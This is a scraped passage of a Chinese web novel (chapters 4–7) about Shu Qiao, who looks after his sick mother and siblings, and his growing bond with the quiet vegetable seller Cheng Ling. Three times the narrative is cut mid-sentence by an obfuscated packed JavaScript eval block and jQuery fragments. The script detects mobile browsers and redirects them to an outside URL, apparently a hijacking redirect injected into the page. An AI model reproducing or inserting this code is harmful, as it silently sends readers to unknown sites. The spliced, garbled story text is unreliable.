舒乔躺在摇椅上,目光落在正拿狗尾巴草逗弄母鸡的舒小临身上,心里隐隐觉得弟弟这几日有些反常——连续几日早出晚归,行色匆匆,实在不像他平日的做派。
“小临,”舒乔轻声开口,语气里带着几分试探,“这几日都去哪儿玩了?”
4. 第 4 章
舒小临逗鸡的动作猛地一顿,面上却立刻堆起灿烂的笑容,说道:“和石头他们去城外抓知了,哥你不是知道嘛,往年这时候都这样。”
他边说边从口袋里掏出几个零散的铜板,故意在探头张望的舒小圆面前晃了晃道:“瞧,我们还拿去药馆卖了钱,每人分了好几个铜板呢!”
知了确实可以入药,药馆常年收购,城里的半大少年也常借此赚些零花,去年舒小临就曾这般做过。
舒乔看着他满脸得意的模样,暂且按下心头的疑虑,只叮嘱道:“别跑太远,当心中暑。”
“放心吧哥,就在城外转转。”舒小临连忙保证,暗自松了口气,以为这关算是过了。
“一、二、三……整整十文钱呢!”舒小圆捧着铜板数了又数,眼睛亮晶晶的。
“好了,还我。”舒小临一把夺回铜板,促狭地笑道,“前儿你不是还跟小满说抓知了没意思吗?”说着又故意将铜板晃得叮当响。
“哼!”舒小圆气鼓鼓地转过身,“我不理你了。”
“那正好,你说这些钱我是买糖人,还是梅子糕好呢。”舒小临故意拉长语调,摇了摇脑袋道。
听到最爱的梅子糕,舒小圆猛地转身,跺脚道:“哥哥你看他!”
舒小临哈哈大笑,舒乔眼底也露出笑意,却没有插手这对活宝的斗嘴。直到秦氏在屋里唤人洗漱,院子里才渐渐安静下来。
夜深人静,舒乔点亮油灯,从炕边的木箱里取出钱袋,仔细数出四十文钱。明日该去医馆给娘抓药了,还得顺道买些菜。他将略显空荡的钱袋收回箱中,轻轻合上箱盖。
秦氏服过药后早早歇下,舒小圆挨着她躺下,见哥哥吹熄了油灯,轻声问:“哥哥明日要去菜行吗?”
“要去的,家里没菜喂鸡了,菜也不多了。”舒乔在黑暗中翻了个身。
“我和哥哥一起去。”舒小圆小声嘟囔道。
“好,睡吧。”
夜风轻柔,拂去一日炎热,让人得以安眠。
翌日一早,舒乔先去医馆抓了药,转身便往菜行走去。
此时的菜行正是一日中最热闹的时辰。挎着篮子的妇人夫郎穿梭其间,采买的板车上堆满各色时蔬,吆喝声、讨价还价声不绝于耳。
舒乔一边走一边盘算该买些什么。夏日菜蔬虽多,却要挑些耐存放的,否则这天气,稍不留神就坏了。
“南瓜、冬瓜、黄瓜,应有尽有!”一个热情的摊主招呼着,还将一旁的苦瓜往前推了推,“天热吃瓜最是解暑,您看看买点什么?”
舒乔歉然一笑,目光越过他,落在了程凌的摊位上。
与其他口若悬河的摊主不同,程凌只是安静地守着自己的菜摊,唯有客人询问时,才简洁地应答几句。
舒乔走过去时,程凌正在给一位夫郎称菜,瞥见他的身影,手上的动作不着痕迹地顿了一下,随即加快了速度。
“一共七文。”程凌收好铜钱,转头看向正在打量蔬菜的舒乔,声音不觉放缓了些道:“想买什么菜?”
他本想说些几句介绍的话,可看着摊位上摆放整齐、一目了然的蔬菜,又将话咽了回去,只静静站在一旁等待。
舒乔的目光在摊位上流连。这小摊收拾得干净利落,蔬菜码放得整整齐齐,品相也好,每捆菜都扎得规整,不见什么磕碰损伤。
他挑了几根顶花带刺的黄瓜,又要了一个小巧的南瓜。
“这个行吗?”程凌拿起一个圆润饱满、色泽金黄的南瓜问道。
舒乔其实不太会挑菜,见这南瓜大小合适,表皮光滑无疤,便连连点头。
程凌利落地称好,还没等秤杆完全摆平就道:“一共八文。”
舒乔正望着摊上的豆角出神,闻言指着豆角道:“那再要一斤豆角吧。”
程凌二话不说,大手一抓便递过来一把。
舒乔微微一怔,问道:“不称一下吗?”
“手感准的,差不离。”程凌对上他疑惑的目光,忽然想起前些日子那个模糊的梦,急忙别开视线。
舒乔知道这些常摆摊的人手上都有准头,便不再多问,取出钱袋数了十文递过去。
程凌伸手去接,指尖不经意触到舒乔微凉的皮肤,像被烫着般迅速收回手,面上却不动声色问:“今天要带些菜叶回去喂鸡吗?”
舒乔不好意思地笑笑道:“要的,不过我晚些再来。”
他顿了顿,又道:“上次的菜,多谢你了。”
程凌不知该如何接话,只低低“嗯”了一声。见舒乔要走,他急忙开口道:“晚点你来拿菜叶。”
见舒乔投来询问的目光,程凌补充道:“喂鸡的。路上磕碰坏的,卖相不好,本来也要处理掉,你拿去便是。”
他说着,目光落在舒乔脸上——那双眸子果然如梦中一般清亮,笑起来时弯成好看的月牙。
“小哥,这菜怎么卖?”一位大娘洪亮的嗓音将程凌的思绪拉了回来。
他赶忙应了一声,站在一旁等候大娘挑选,抬头看了看天,离收市还早着呢。
大娘挑挑拣拣买了两把青菜,又要了两根赠葱方才离开。
程凌一直忙到午时,人流渐疏,这才得空坐下喝了口水。
下午的菜行冷清了许多,青石板路上散落着被踩烂的菜叶,苍蝇嗡嗡地打着转。程凌收拾着摊位,想到舒乔等会儿要来,特意找了个筐子,仔细挑拣起来。
除了喂鸡的菜叶菜帮,程凌的手顿了顿,目光落在旁边两个表皮略有磕痕的西葫芦上。这品相卖不出手,但自家吃完全无碍。念头只是一转,觉得给他正好,手便已将它们拨进筐里,又用菜叶自然地盖在上面。
舒乔买完菜回家,先在小炉子上用文火煎上秦氏的药。
院子里,舒小圆刚洗好的衣裳挂在竹竿上,水珠滴滴答答落在地上,溅开一朵朵小水花。
舒乔取了小板凳坐在院中,一边绣着帕子,一边不时回头照看灶屋里的火候。
待药煎好,服侍秦氏喝下,舒乔揉了揉发酸的脖颈,见舒小圆一直在眼前晃悠,不由失笑道:“想去玩就去吧,记得早点回来。”
舒小圆盼的就是这句话,当即欢呼一声,蹦蹦跳跳地朝门口跑去,“哥哥我保证早早回来!”
舒乔拿着针线进屋陪着秦氏,多是他在轻声细语地说着话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164052|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>秦氏病后很少出门,终日多半卧在床上休养。幸而医馆林大夫开的药见效,这几个月调养下来,气色已比先前好了不少。
“早上去抓药,林大夫说下旬让娘再去号次脉,看看情况调整方子。”舒乔抿了抿彩线,对准针眼穿过去,继续道,“林大夫说若是恢复得好,兴许就不用再吃药了。”
秦氏在一旁帮他裁着布料,时不时温声应和几句。舒乔专注地绣着帕子,直到酉时将至,才惊觉时辰不早了。
见秦氏正在炕上小憩,舒乔没有打扰,轻轻拎起篮子赶往菜行。见不少摊位都已收拾妥当,他不由加快脚步,远远望见程凌果然还在等他,便小跑着迎了上去。
程凌看见舒乔快步走近,停下了手里的动作。
舒乔看着他早已收拾齐整的担子,有些过意不去道:“等很久了吧?下次你别特意等我,别耽误了你回家。”
“刚收拾完,不耽误。”程凌应道,目光落在他挽着的空篮子上,找了个由头,“这些菜叶堆在地上,沾了泥,你别沾手了,篮子给我吧。”
说着,他很是自然地伸手接过舒乔的篮子,蹲下身,利落地将事先挑拣好的菜叶装进去,顺手将那两个藏在下面的西葫芦也一并拨了进去,再用菜叶仔细盖好。
“真是太谢谢你了。”舒乔看着他熟练的动作,连忙道谢。
程凌将装得满满的篮子递还给他,语气如常道:“顺手的事。”
舒乔接过沉甸甸的篮子,抬头望了望渐暗的天色道:“那你快回去吧,瞧着要变天了。”
“嗯,这就走。”他今日赶了牛车来,回去能快些。见舒乔还站着不动,便用眼神询问是否还有事。
“还没问你叫什么名字呢。”舒乔换手提了提沉甸甸的篮子,浅笑问道。
虽说只见了几面,但对方不仅送了菜,还特意为他留着喂鸡的菜叶,让他省去了四处询问的麻烦,这份好意问个名字也是理所当然,总不好一直“喂”来“喂”去。
“对了,我叫舒乔,乔木的乔。”他解释完,便静静等着程凌的回答。
程凌在心里默默念了几遍“舒乔”,抬眼看向他道:“程凌。”
舒乔见他身形挺拔结实,眉宇间带着沉稳气度,瞧着应是比自己年长,便从善如流地接道:“今天真是多谢你了,程大哥。多亏你留着这些,我省事多了。”
“不客气。”程凌回道。
舒乔见程凌对这个称呼并无异议,心下更确定了几分,于是接着道:“那我先回去了,不耽误你赶路。”
见天边乌云渐浓,他不敢再多留,挥手作别后便转身往家走去。
行至巷口,见舒小圆正和几个小伙伴蹲在地上玩得兴起,舒乔没有上前,只遥遥嘱咐了一句让她留意天气,便先行回家。
傍晚他哼着小调拍好黄瓜,正要去院里取晾干的蒜头,瞥到墙角的杂物堆,突然定住。
那根舒小临去年用来捕知了的长杆,分明还好端端地靠在墙边。
舒乔怔怔地站在原地,目光在墙角的竹竿上凝了片刻,眸色渐渐沉了下来,心头那点疑虑终于落到了实处。今晚,待舒小临回来,非得好好问个明白不可。
5. 第 5 章
暮色渐沉,舒家小院的饭桌上碗盘已空,连盛拍黄瓜的盘子都只剩些汁水。
舒乔放下竹筷,直盯着舒小临道:“好了,说说吧,这几日早出晚归的,究竟是做什么去了?”
舒小临心里咯噔一下,知道终究是瞒不住了。
他低头扒拉了两下碗里最后的饭菜,又悄悄抬眼看了看哥哥神色,见舒乔脸上虽严肃,却并未动怒,这才深吸一口气,老实交代道:“哥,我…我在城北的李记茶馆寻了份活计,跑堂兼打杂。”
爹去世时他已经记事,娘每日辛苦操劳,哥哥熬更守夜地绣帕子,他都看在眼里,恨不得一下子长大,能扛起家里的担子。
娘病了后,哥恨不得整日拿着针线,他惦记着娘每月抓药的银钱,便同石头他们四处寻找活计,可别人嫌他年纪小,没经验不说,更下不了力气,都不招他。
前些日子石头说他二舅新开了间茶馆正缺人手,舒小临便央着石头帮忙引荐。
石头二舅姓李,见舒小临虽年纪不大,但身量已接近半大青年,说话也伶俐,瞧着是个机灵孩子,便答应让他先试试。
“我怕这事万一不成,说出来反倒让娘和哥空欢喜一场,还平添担心。”舒小临声音越说越低,手指无意识地抠着桌沿,“掌柜的说头三个月算是学手艺,月钱三百文,等我做熟了,往后能涨到五百文呢。”
秦氏坐在一旁,听着儿子这番话,心头先是一紧,随即长长舒出一口气。
她原先见儿子神神秘秘,生怕他在外头惹了什么事。此刻得知竟是这般懂事的缘由,眼圈不由微微发热,连声道:“好事,这是大好事啊!你这孩子,怎不早说?”她伸手轻轻拍了拍儿子的肩,眼中满是欣慰。
“就是!”舒小圆从板凳上跳下来,跑到舒小临跟前,又是埋怨又是骄傲地拍他肩膀,“害我前几日看见你跟石头嘀嘀咕咕的,还当你们要做什么坏事,吓得我都没敢告诉哥哥。”
舒乔悬了半日的心此刻才算落回实处。
他方才脑中闪过无数不好的猜测,此刻看着弟弟那张犹带稚气却努力装作大人模样的脸,心头百感交集,终是化作一个宽慰的笑。
舒乔温声道:“既寻了正经活计,往后便好好做。只是切记,万事莫要强出头,遇事多请教掌柜的。”
“我晓得的,哥。”舒小临见大家都为他高兴,心头大石落地,整个人都轻快起来,主动起身收拾碗筷,“石头那边,等我领了月钱,定要好生谢他。”
秦氏原想说请人来家吃顿饭,转念一想,半大小子自有他们的相处之道,便便只细细叮嘱了几句要记得人家的好、懂得感恩的话。
舒乔在一旁默默听着,心里却已开始盘算,光是口头道谢不够,还是得备些谢礼才好。不说多贵重,但好歹有个实处。
他端着碗筷去清洗,眼角掠过窗外。暮色中,老槐树上一串串雪白的槐花正开得繁盛,如云似雪,缕缕甜香透过窗子飘进来。
他眼前蓦地一亮,忽然记起娘往年这时节常做的槐花饼,清甜可口。
“明日就做这个。”他低声自语,沉吟片刻又道,“再煮一锅绿豆沙,晾凉了,让小临带去给石头他们分着吃,既解暑又表心意。”
翌日清早,舒乔便带着舒小圆,拎着竹篮出了门。
巷子尽头那几株老槐树有些年岁了,枝干遒劲,花串如云,甜香沁人。只是树长得太高,最低的花枝也离地一人多高,徒手难以够到。
“得回家拿根长杆子来。”舒乔仰头估量着,却发现身边没了动静。一回头,只见竹篮搁在地上,舒小圆竟不知何时已灵巧地攀上了最低的树杈,正伸手去够最近的花枝。
“小圆!”舒乔吓得心头一跳,忙压低声音喊道,“快下来!摔了可怎么好?”
“不会的哥哥!”舒小圆坐在树杈上,两条小腿晃晃悠悠,手紧紧抓着头上的树枝,“我们常爬这树摘槐花呢……”话一出口才觉失言,她忙捂住嘴,赶紧折下一挂沉甸甸的花串扔下来,“哥哥接好!”
舒乔在树下看得心惊胆战,手忙脚乱地接住那还带着晨露的花枝,眼睛却一刻不敢离开妹妹的身影,连声嘱咐道:“抓紧些!脚踩稳了!再摘两把就快下来!”
舒小圆却灵活得像只林间小猴,在枝干间轻盈移动,不一会儿就折下许多花枝。直到舒乔在底下连声说“够了够了”,她才意犹未尽地抱着树干滑下来,小脸上尽是得意。
舒乔一把拉过妹妹,板起脸问:“常爬树?”
“就、就跟小满她们玩的时候爬过几回……”舒小圆缩着脖子,笑嘻嘻地转移话头,拽着舒乔的衣袖轻轻摇晃,“哥哥,咱们快回去做槐花饼吧,娘该等急了!”
舒乔看着她沾了花骨朵的头发和亮晶晶的眼睛,到底没再多说什么,只暗自记下晚些要好好跟她讲讲道理。
回到家,舒乔将槐花倾在竹匾里,仔细拨开花串。只见嫩白花瓣间果然藏着些细小黑点,是小虫蜷在里头。
他将槐花倒入盆里浸泡,手指轻拢慢捻,待污物浮起,便捞出沥水。如此仔细淘洗几遍,水中再无杂质,才将洗净的槐花轻轻攥干。
随后将槐花与玉米面、白面拌匀,磕入两个鸡蛋,加少许盐和油,慢慢搅成面糊,团成小饼上笼蒸。水烧开不多时,清甜的香气便弥漫了整个小院。
刚出锅,舒小圆就凑过来,眼巴巴地等着。舒乔笑着夹了一个递给她,看她一边吹气一边小口咬着,腮帮子塞得鼓鼓囊囊,还含糊不清地嚷着“好吃”。
槐花饼内里松软,清甜中混合着谷物的朴素香气。
秦氏也尝了一个,却只浅尝辄止,温声道:“娘还在吃药,你们多吃些。”舒乔知她忌口,便不再劝,另装了一盘让舒小圆给舟阿么家送去。
收拾完灶台,舒乔回屋继续做绣活。理丝线时,他无意中瞥见昨日买回的豆角,这才发觉程凌给的分量实在足得很。
又想起早晨弟弟喂鸡时提过篮子里有两条西葫芦,他转身去翻看,果然在菜叶下找到了它们,只是尾部略有磕痕,品相依然完好。
舒乔望着这些菜,怔了怔,心里泛起一阵暖意,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164053|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又带着些许无措。
这位程大哥,待人实在厚道得让他不知如何是好。他轻轻摩挲着西葫芦光滑的表皮,思绪不由自主地飘向那个在菜行里沉默寡言的身影。
午后,舒乔犹豫再三,终究还是在酉时前拎起篮子出了门。篮子里,还多了一个盛着薄荷水的竹筒。
今日恰逢赶集,菜行里人流比往日多。舒乔按记忆中的位置寻去,却没见程凌的摊位。他正要张望,一个低沉的声音已先响起:“舒乔。”程凌先看见了他。
程凌正站在摊位后,额上带着薄汗,眼神直直落在他身上。
“我还以为你今日不来了。”话一出口,程凌便觉失言,匆匆别开视线。
“来的。”舒乔忙应道,递出准备好的竹筒,“天气燥热,我给你带了点薄荷水润润喉。”
见程凌未接,他又急急补充道:“不是什么稀罕物,你路上解渴也好。”
程凌这才伸手接过,指尖触到竹筒上残留的温热,他沉默一瞬,低声道:“多谢。”他在舒乔脸上停留了片刻,才缓缓移开。
“今日生意可好?”舒乔随口问着,目光已落到摊前所剩不多的菜蔬上。
“还行。”程凌答得简短。其实集市的旺市早已过去,他也不知自己为何偏要等到这个时辰,或许是怕他跑落空。
舒乔注意到摊边那只箩筐里,分明堆着些蔫吧的菜叶,显然是特意留出的。他心里微软,将手中的空篮递过去。
程凌默契地接过来,弯腰往里装菜叶。他的动作不疾不徐,带着特有的稳妥。
“这次……该没有西葫芦了吧?”舒乔忽然凑近些,压低声音打趣道。
程凌手上的动作一顿,抬头看向他,面色如常道:“没有。”又一本正经地补充,“倒有几个茄子,不过鸡大抵不爱吃。”
看着他故作严肃却眼含笑意的模样,舒乔忍不住笑出声。他接过装满的篮子,只觉分量沉甸甸的,正如他此刻的心情,“程大哥,你这样倒叫我不知该如何谢你了。”
“不必谢。”程凌站在原地,声音沉稳,“左右这些有磕碰的也是要送人的。”他说得轻描淡写,仿佛这真的只是一桩随手的小事。
舒乔望着他低垂的眉眼,那英挺的面孔因专注而显得格外沉静,心头暖意更甚。
他抿了抿唇,忽然道:“那……明日我还给你送水来。”说罢,不待程凌回应,便转身快步离去,脚步略显仓促,却轻快得像要飞起来。
程凌站在原地,望着舒乔远去的方向,直到那身影没入人群,嘴角才扬了扬。
他低头看着手里的竹筒,指腹在简朴的竹节上轻轻蹭了两下,仰头喝了一大口。薄荷水润过喉咙,带着恰到好处的清凉。他仔细收好竹筒,转身继续收拾所剩不多的菜摊。
舒乔一路走回家,只觉今日的轻风拂面分外舒爽。
一路走到巷口,他却瞧见一个有些眼熟的身影,从自家院门内怒气冲冲地摔门而出。
那哐当一声巨响惊得他脚步一顿,待要细看时,那人已拐过巷角不见了。
6. 第 6 章
舒乔推门进院,见舟阿么也在,便提着篮子往灶屋走,随口问道:“娘,刚才谁来了?”
秦氏和舟阿么对视一眼,缓声回道:“是张家媳妇,过来坐了会儿。”
舒乔一听,不由觉得奇怪,回头看了他们一眼。
张家媳妇那泼辣性子在南巷是出了名的,平时不是跟人拌嘴就是撒泼,巷子里的人见了多半都要绕道走。
秦氏平日里就少跟邻里往来,生病后更是很少出门,与张家媳妇几乎毫无交情,舒乔实在想不出她上门的缘由。
“这事儿闹的。”舟阿么拍了下大腿,见舒乔一脸好奇,又看了看秦氏,最后还是说了出来,“那人是来探你娘口风的。”
舒乔左右看看他们俩,追问道:“然后呢?”
秦氏皱着眉头,脸上带着几分烦躁道:“她来打听你有没有说亲,想替她侄子相看。”
“我说还不着急,想再留你两年。可她走时那个样子,我怕她见事情不成,出去乱说些有的没的。”秦氏语气里带着忧愁。
风言风语传得最快,说的人不在意真假,听的人却容易当真。
舒乔听了反倒松了口气。那人最多也就是出去说些闲话,自家倒是有些杞人忧天了。不过想起张家媳妇的性子,他又忍不住头疼——跟这种人讲不通道理,要是真计较起来,非得强硬些才能让她收敛。
“娘,你先别担心,事情还没发生呢,咱们过好自己的日子就行。”舒乔轻声安慰。
“话是这么说,可嘴长在别人身上,咱们想管也管不住啊。”秦氏神色还是不见轻松。
“哎呀,没影的事犯不着先愁上!”舟阿么作势挽起袖子,一脸厉色,“她要是真敢乱嚼舌根,我就上门撕了她的嘴!你这身子不好,大夫不是说了要少操心吗?咱们两家加起来,人可比张家多,真要论起来,还能输了阵势不成?”
“对,我也能帮忙!”舒小圆叉着腰应和,小脸上满是跃跃欲试。
刚才张家媳妇上门时,她就觉得不对劲,赶紧跑去喊了舟阿么。听完那番话,她差点当场跳出来骂人。
张家媳妇的侄子也住在南巷,跟舒家一个在巷头一个在巷尾,平时几乎没什么往来。但那侄子跟他姑妈一样“出名”,巷子里的人提起都要摇头。
成日游手好闲,正事不干,专在街上晃荡。脾气一点就炸,喝了几口马尿便在家摔盆砸碗,对自家爹娘都敢呼来喝去。前两年不知从哪儿学了赌钱的毛病,欠下一屁股债,时常有生面孔的汉子堵在巷口寻他。
眼看都快二十好几了,媒人一提是他,立马就被请出门。哪户好人家愿意把哥儿女儿嫁过去,那不是糟践人吗?
舒乔想起那人模样,也不由得皱起眉头。想来张家媳妇是仗着舒家病的病、小的小,家里没个主事的男丁,才敢上门提这种荒唐事。
秦氏想到这一层,心里更堵得慌,却不愿说出来让孩子们担心,只勉强笑了笑,起身送舟阿么出去。
舟阿么站在门边,见舒乔进了灶屋,拉着秦氏小声说:“那张家媳妇虽然不是什么好人,但乔哥儿的婚事,你也该上心了。先前没来得及跟你说,这巷子里已经有好几户明里暗里来和我打听呢。”
秦氏在家养病,跟舒家走得近的只有舟阿么一家,那些人自然都来找他打听。秦氏回过神,点头道:“好,我记着了。”
舒乔长得白净,笑起来眼睛弯弯的让人看着就舒心,加上干活麻利又孝顺,绣活也不错,巷子里有适龄儿子的人家,早就有人暗暗留意了。
秦氏关上门,心里琢磨着舒乔的婚事,回屋躺下后总觉得不得劲,干脆起身去了灶屋。
舒乔正准备晚上贴饼子,见秦氏进来,连忙说:“娘,灶屋里不用你帮忙,我叫小圆烧火就行。”
“我就跟你说说话,你忙你的。”秦氏拿过矮凳,在灶膛前坐下。
“那好吧。”舒乔拿碗舀了面,慢慢加水搅和。
秦氏拿了根细棍子,把脚边的绒草拨拉到一起,像是随口问道:“乔哥儿,心里可有什么瞧上眼的人?”
这话问得突然,舒乔惊得停下动作,想起刚才的事,摇了摇头,顿了顿又反问:“娘,怎么突然问这个?”
秦氏没有直接回答,又问道:“那有没有想过以后要找个什么样的?长相也好,性子也好,跟娘说说。”
这些年秦氏整日为柴米油盐操心,对儿女的心思难免疏忽。现在想起舒乔小时候拽着她衣角嚷着要买糖吃的样子,好像就在昨日。
若说从未想过自是假的,舒乔也曾悄悄描画过日后光景。于另一半,他只盼对方可靠体贴,待他真心,至于容貌,自是周正些更好。他这般细细说了,末了竟有些赧然,声气渐低。
偷瞄了眼秦氏,舒乔挺直腰背,轻咳两声道:“大致便是这些了。”
他方才在窗边听见舟阿么与秦氏的低语,心知娘的用意,倒也愿坦诚相告——这终究是关系自己后半生的要紧事。
秦氏听罢,眼中浮起笑意,点头温言道:“好,娘晓得了。”
跟舒乔聊了一会儿,秦氏先前浮躁忧愁的心情慢慢平静下来。见舒乔一个劲儿催她回屋休息,秦氏只好起身,让舒小圆来烧火。
炊烟顺着烟囱袅袅升起,在半空中打着转儿,随风飘散。
舒小临推门回家时,手里拎着一块肉直奔灶屋,见舒乔还在忙活,连忙笑道:“还好赶上了。”他晃了晃手里的肉,对大家说:“今晚有肉吃啦!”
“哦。”舒小圆回头应了一声,拿火钳捅了捅灶膛,火苗腾地一下子窜高了。
舒乔拿着锅铲翻动锅里的菜,眼皮都没抬一下。
“诶?这可是肉啊?!”舒小临走到舒小圆面前,围着她转个不停。
“知道啦知道啦,别晃了!”舒小圆一巴掌拍在哥哥胳膊上。
舒小临哼了一声,见他们反应平淡,索性自己打开了话匣子,絮絮叨叨说起今天的新鲜事。
舒乔听着他东拉西扯,嘴角微微抽了抽,接过肉去切,留他们在灶边叽叽喳喳。
“今天这是怎么了?一个个都没精打采的。”舒小临侧身看了眼外面洗砧板的舒乔,推了推妹妹的肩膀,“还有啊,哥居然没问我哪来的钱买肉。”
舒小圆张了张嘴,见舒乔进来,赶紧使了个眼色,示意待会儿再说。
舒小临心里装着事,直到吃完饭才找到机会拉着妹妹问:“说吧,到底怎么回事?”
舒小圆正专心啃着手里的梅花糕,闻言擦了擦嘴,把下午张家媳妇上门的事小声说了一遍。
“大概就是这样,你可别再提了,不然娘又要担心了。”
舒小临听得直皱眉头,啧了一声,语气带着几分狠劲,“她要是敢乱说,我自有办法让她没心思嚼舌根。”
舒小圆啃糕的动作一顿,担心道:“小临哥,你可别做傻事。”
“笨,我说的是她儿子。”舒小临见她还没明白,又补充道,“就是那个小胖子。”
“哦——是他啊。”舒小圆恍然大悟。那小胖子也是个混不吝的,整天在巷子里招惹别的孩子,惹人讨厌。想起张家媳妇把那小子当宝贝似的,舒小圆琢磨着,要是小临哥真去收拾那小胖子,估计张家媳妇能闹得半条巷子不得安生。
接下来的几天风平浪静,巷子里没传出什么流言飞语,秦氏悬着的心总算放了下来。
这天,舒乔看着弟弟递过来的铜钱,反手推了回去道:“这些你自己留着吧,平时想买点什么也方便。”
“哥,我平时吃喝不是在家就是在茶馆,哪用得着钱啊。”舒小临说着,又把铜钱塞到舒乔手里,“再说家里柴火快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164054|196618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没了吧?你拿着正好去买柴。”
他在茶馆干得顺当,管事已经让他在前面招呼客人。能在茶馆坐一整天的客人大多不缺钱,偶尔让小厮跑个腿,顺手就给赏钱。舒小临嘴甜会来事,遇到大方的客人,随手就能挣几文赏钱,攒起来正好贴补家用。
舒小临没给哥哥推辞的机会,说完转身就溜了。
“跑这么快干什么。”舒乔摇摇头,把钱收好。经弟弟这么一提醒,他才想起家里柴火确实快烧完了,得抽空去趟柴市。
柴市离家有点远,舒乔第二天揣好铜钱,早早出了门。
有些人家用柴多,会提前跟樵夫说好,定期送货上门。但舒乔更喜欢去柴市自己挑,易燃的绒草、耐烧的硬木、细些的树枝,每样都买点才放心。
柴市旁边是牲口牙行,时不时飘来一股牛马粪便的腥臊味。舒乔屏住呼吸快步走过,前面不少人扛着担子、拉着柴车来来往往,吆喝声、讨价还价声此起彼伏,喧闹异常。
舒乔正跟一个老农问柴价,忽然听见有人叫他,抬头一看,竟然是程凌。
“程大哥,你来卖柴火?”舒乔见他手里空着,还往他身后看了看。
程凌摇摇头道:“帮别人送趟货。”原是顺路遇见村中张大爷,便顺手捎带一程。
他静立一旁看舒乔与老农议价,待舒乔付了银钱,老农问可要加几文钱送柴到家。没等舒乔应答,程凌已上前扛起柴捆,问他:“还买别的么?”
舒乔本来想伸手扶一把,闻言愣了愣,连连点头道:“要的,还要买点松针,就在前面不远。”
程凌跟着舒乔买好松针,一起放到牛车上,“走吧,我送你回去。”
舒乔从见到程凌起就有些走神,没想到会在这里遇见他,闻言呆呆地应道:“啊,好。”又赶紧补充,“太谢谢你了程大哥。”
程凌赶着牛车慢慢往前走,在前面应道:“不用客气。”
两人一时没了话,气氛有些安静。舒乔见车上没放菜筐,忍不住问道:“程大哥今天没去菜行?”
“嗯,今天休息。”程凌回头看了他一眼,“家里要来亲戚,我出来买点东西招待。”他顿了顿,语气里带着歉意,“昨天忘了跟你说一声,想着你要是去了没见到我,怕是要纳闷我怎么没出摊,白跑一趟。”
舒乔听了笑起来,摆摆手,“哪能算白跑呢。就算见不着你,菜行里别家摊子也有不少要扔的菜叶,总能讨到一些,家里的鸡饿不着。”他说着往前凑了凑,眼里带着笑意,“不过倒是会琢磨,程大哥今天怎么没来,是不是有什么事。”
程凌听他这么说,心里的歉意散了点,嘴角微微扬起道:“原是我多想了。”
轻风吹过,带着丝丝凉意,程凌握了握手里的鞭子,忽然觉得这趟来柴市来得特别值。
“前面往右拐,在巷口停就行了。”舒乔指着路说。
程凌赶着牛车慢慢停下,扛起柴火,示意舒乔在前面带路。
“放这儿就好。”舒乔开门指着院子一角,转身进屋倒了碗水。
程凌接过碗喝了一口,院门还开着,不便久留,递回碗道:“我先回去了。”
“嗯,”舒乔送他到门口,“今天真是太谢谢你了程大哥。”
“刚才说过了。”程凌朝他点点头,“一点小事,回吧。”说完转身离开。牛车还在巷口放着,不能耽搁太久。
舒乔手扶着门框,望着程凌走出巷子才收回目光。一转身猛地看见张家媳妇那张脸,吓得往后一退。
“有些人啊,专干些见不得人的事,生怕别人不知道似的。”张家媳妇斜着眼,上上下下打量着舒乔,嘴里不停地发出嗤嗤的冷笑,那样子实在讨厌。
舒乔只淡淡地扫了她一眼,砰地一声关上了院门。
何必与这种人一般见识。
7. 第 7 章
舒乔没把张家媳妇那些话往心里去,回屋拿起针线篮子继续做活。为了那种人耽误正事,不值当。
舒小圆捏着帕子,手上动作停了停,偷瞄旁边闭眼歇息的秦氏,悄悄往舒乔身边挪了挪,压低声音问:“哥哥,刚才那人是谁啊?”
她眨巴着眼睛,满脸好奇,“我听见你喊他程大哥,他也住这附近吗?”
舒乔平日里玩伴就少,不是在家绣帕子,就是出门办事,很少跟谁结伴玩,更别说认识陌生男子了。
舒小圆想起刚才在窗边瞥见的高大身影,还有两人说话时熟稔的语气,心里跟猫抓似的。再想到这几日哥哥去菜行总带着竹筒,她直勾勾盯着舒乔,像是要从他脸上看出朵花来。
“你的帕子绣好了?拿来我看看。”舒乔面不改色,作势要拿她手里的帕子。
“我不问了还不行嘛。”舒小圆赶紧讨饶,往旁边挪了挪,离他远远的,生怕他又要检查绣活。
舒乔不再逗她,低头穿针,声音轻轻的,“程大哥在菜行卖菜,家里鸡吃的菜叶都是他给的,别瞎想。”他太了解这个妹妹了,要是不给她个准话,她能琢磨一整天。
舒小圆竖起耳朵听完,又凑过来扒着他的胳膊追问:“那竹筒也是给他的?”
舒乔斜了她一眼,没吭声。
“好吧,我晓得了。”舒小圆得了答案,总算安分下来,继续对付手里那让她头疼的绣活。可心里却翻腾得厉害——哥哥居然认识了个她从没见过的汉子,还给他送水!
依她这些年的观察,除了自家人,哥哥可从没对谁这么上心过。
